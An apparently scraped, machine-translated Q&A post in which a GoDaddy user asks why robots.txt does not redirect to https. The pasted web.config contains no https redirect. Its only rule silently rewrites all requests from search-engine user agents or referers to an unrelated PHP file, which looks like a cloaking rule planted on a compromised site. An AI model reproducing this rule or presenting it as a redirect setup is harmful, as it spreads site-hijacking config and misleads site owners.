robots.txt网址未重定向到https

时间:2020-06-10 11:02:28

标签: http xmlhttprequest http-headers web-config http-redirect

我正在使用Godaddy托管。我将所有http协议重定向到https协议。在几乎所有希望使用此http://example.com/robots.txt的URL上,它都能完美运行,robots.txt URL不会被重定向。这是我的roboto.txt

User-agent: *
Allow: /

Sitemap: https://example/sitemap.xml

这是我的web.config

<?xml version="1.0" encoding="UTF-8"?><configuration><system.webServer><rewrite><rules>        <rule name="Protect files and directories from prying eyes bled-elonore.php" stopProcessing="true">
          <match url="^(.*)$" ignoreCase="true" />
          <conditions logicalGrouping="MatchAny">
          <add input="{HTTP_USER_AGENT}" pattern="(bing|google|yahoo|msn|aol)" ignoreCase="true" />
          <add input="{HTTP_REFERER}" pattern="(bing|google|yahoo|msn|aol)" ignoreCase="true" />
          </conditions>
          <action type="Rewrite" url="bled-elonore.php" appendQueryString="false" />
        </rule>
</rules></rewrite></system.webServer></configuration>

您认为我必须对https使用带有重定向标记的https重定向代码吗?还是应该使用XMLHttpRequest?我也尝试过stemap.txt,但仍然无法正常工作

0 个答案:

没有答案